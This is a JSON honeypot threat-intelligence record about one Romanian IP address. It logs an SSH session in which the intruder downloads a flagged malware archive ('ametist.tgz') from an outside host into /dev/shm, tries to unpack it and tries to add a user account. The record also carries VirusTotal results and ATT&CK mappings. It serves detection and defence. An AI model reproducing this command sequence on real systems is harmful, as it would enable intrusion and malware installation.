{"ip":"128.127.113.218","data_as_of":"2026-10-28T00:07:47+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 interactive session(s) ran commands after logging in","confidence":"high","network_type":"residential ISP","why":["1 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Held a session open for 890s, against a median of well under a second."],"engagement":{"level":"request","label":"Request traffic, held open","detail":"349 bytes sent, longest session 890s","bytes_sent":349,"session_seconds":890,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-22T17:16:59","last_seen":"2026-10-22T17:16:59","events_24h":0,"events_7d":0,"interactive_sessions":1,"interactive_sessions_24h":0,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"ssh","sessions":1}],"geo":{"country_code":"RO","country_name":"Romania","region":"","city":"","lat":null,"lon":null,"asn":8953,"org":"Orange Romania S.A."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as8953","label":"Orange Romania S.A (AS8953)","category":"isp","url":"https://www.peeringdb.com/asn/8953"},"cve_matches":[],"malware":[{"sha256":"40dfe8b8fe4683d6881b89c14725f8a31424adecf20e673bbe574620c6688d66","family":"ladvix","vt_name":"ametist.tgz","malicious":38,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":22,"hits":5,"last_seen":"2026-10-22 17:16:59"}],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-22T17:16:59","last_seen":"2026-10-22T17:16:59","verdicts":[{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":1}],"services":[{"protocol":"ssh","port":22,"sessions":1}],"logins":[],"commands":[{"ts":"2026-10-22T17:16:21","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt update","exit_code":100},{"ts":"2026-10-22T17:16:04","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"lsof /var/lib/dpkg/lock-frontend","exit_code":127},{"ts":"2026-10-22T17:15:15","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo lsof /var/lib/dpkg/lock-frontend","exit_code":127},{"ts":"2026-10-22T17:15:09","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo apt-get install tar","exit_code":100},{"ts":"2026-10-22T17:13:48","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"tar -xzf ametist.tgz","exit_code":127},{"ts":"2026-10-22T17:12:28","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt-get install tar","exit_code":100},{"ts":"2026-10-22T17:12:20","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt get install tar","exit_code":0},{"ts":"2026-10-22T17:12:17","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt get install tar","exit_code":0},{"ts":"2026-10-22T17:11:05","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt install tar","exit_code":100},{"ts":"2026-10-22T17:10:35","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"tar -xvf ametist.tgz","exit_code":127},{"ts":"2026-10-22T17:09:32","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -a","exit_code":0},{"ts":"2026-10-22T17:08:33","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"adduser toto","exit_code":127},{"ts":"2026-10-22T17:07:33","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"useradd toto","exit_code":127},{"ts":"2026-10-22T17:06:42","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -a","exit_code":0},{"ts":"2026-10-22T17:05:24","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"tar zxvf ametist.tgz","exit_code":127},{"ts":"2026-10-22T17:05:16","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"wget [https]://edu[.]ametist[.]cv/ametist.tgz","exit_code":0},{"ts":"2026-10-22T17:05:09","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -a","exit_code":0},{"ts":"2026-10-22T17:05:07","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd dev/shm","exit_code":0},{"ts":"2026-10-22T17:04:54","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -a","exit_code":0},{"ts":"2026-10-22T17:04:53","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd ..","exit_code":0},{"ts":"2026-10-22T17:03:18","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ps x","exit_code":0},{"ts":"2026-10-22T17:03:16","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls -a","exit_code":0},{"ts":"2026-10-22T17:02:39","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"-p 777","exit_code":127},{"ts":"2026-10-22T17:02:24","session_id":"24250411-9cbb-4750-8a78-afce14141923","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"w","exit_code":0}],"downloads":[{"url":"[https]://edu[.]ametist[.]cv/ametist.tgz","host":"edu[.]ametist[.]cv","sessions":1,"first_seen":"2026-10-22T17:16:59","last_seen":"2026-10-22T17:16:59","virustotal":{"sha256":"40dfe8b8fe4683d6881b89c14725f8a31424adecf20e673bbe574620c6688d66","status":"uploaded","malicious":38,"total":75,"name":"ametist.tgz"}}],"files":[{"sha256":"e28c41008f8ba6b3880c575bcfe1b5203cd4b03c95c97563662b041e6d845eaa","name":"ametist.tgz","size":34,"mime_type":"text/plain","kind":"downloaded","times":1,"first_seen":"2026-10-22T17:05:16","last_seen":"2026-10-22T17:05:16","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":["4a3e3c55af41b23589ff4c9d6aee4404"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":["4a3e3c55af41b23589ff4c9d6aee4404"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"4a3e3c55af41b23589ff4c9d6aee4404":0},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-22","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-22T17:16:21","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"apt update","payload_hex":"61707420757064617465","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-47","seq":47,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"030c5e388c3000e0","strings":["apt update"]},"interactive":true},{"timestamp":"2026-10-22T17:16:04","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"lsof /var/lib/dpkg/lock-frontend","payload_hex":"6c736f66202f7661722f6c69622f64706b672f6c6f636b2d66726f6e74656e64","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-45","seq":45,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e9b6a90d0aac436e","strings":["lsof /var/lib/dpkg/lock-frontend"],"iocs":{"paths":["/var/lib/dpkg/lock-frontend"]}},"interactive":true},{"timestamp":"2026-10-22T17:15:15","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sudo lsof /var/lib/dpkg/lock-frontend","payload_hex":"7375646f206c736f66202f7661722f6c69622f64706b672f6c6f636b2d66726f6e74656e64","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-43","seq":43,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ff5a73c1f55ea29a","strings":["sudo lsof /var/lib/dpkg/lock-frontend"],"iocs":{"paths":["/var/lib/dpkg/lock-frontend"]}},"interactive":true},{"timestamp":"2026-10-22T17:15:09","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sudo apt-get install tar","payload_hex":"7375646f206170742d67657420696e7374616c6c20746172","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-41","seq":41,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"57b3768914d5d8f8","strings":["sudo apt-get install tar"]},"interactive":true},{"timestamp":"2026-10-22T17:13:48","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"tar -xzf ametist.tgz","payload_hex":"746172202d787a6620616d65746973742e74677a","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-39","seq":39,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5144d2e2e772cf1e","strings":["tar -xzf ametist.tgz"],"iocs":{"domains":["ametist.tgz"]}},"interactive":true},{"timestamp":"2026-10-22T17:12:28","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"apt-get install tar","payload_hex":"6170742d67657420696e7374616c6c20746172","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-37","seq":37,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c22b37fb028890a3","strings":["apt-get install tar"]},"interactive":true},{"timestamp":"2026-10-22T17:12:20","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"apt get install tar","payload_hex":"6170742067657420696e7374616c6c20746172","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-35","seq":35,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"0647db970c404d91","strings":["apt get install tar"]},"interactive":true},{"timestamp":"2026-10-22T17:12:17","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"apt get install tar","payload_hex":"6170742067657420696e7374616c6c20746172","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-33","seq":33,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"0647db970c404d91","strings":["apt get install tar"]},"interactive":true},{"timestamp":"2026-10-22T17:11:05","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"apt install tar","payload_hex":"61707420696e7374616c6c20746172","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-31","seq":31,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"4138965b98d1296e","strings":["apt install tar"]},"interactive":true},{"timestamp":"2026-10-22T17:10:35","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"tar -xvf ametist.tgz","payload_hex":"746172202d78766620616d65746973742e74677a","method":"","user_agent":"","ja3":"","session":"24250411-9cbb-4750-8a78-afce14141923-29","seq":29,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"417516d8b7f8d0f0","strings":["tar -xvf ametist.tgz"],"iocs":{"domains":["ametist.tgz"]}},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}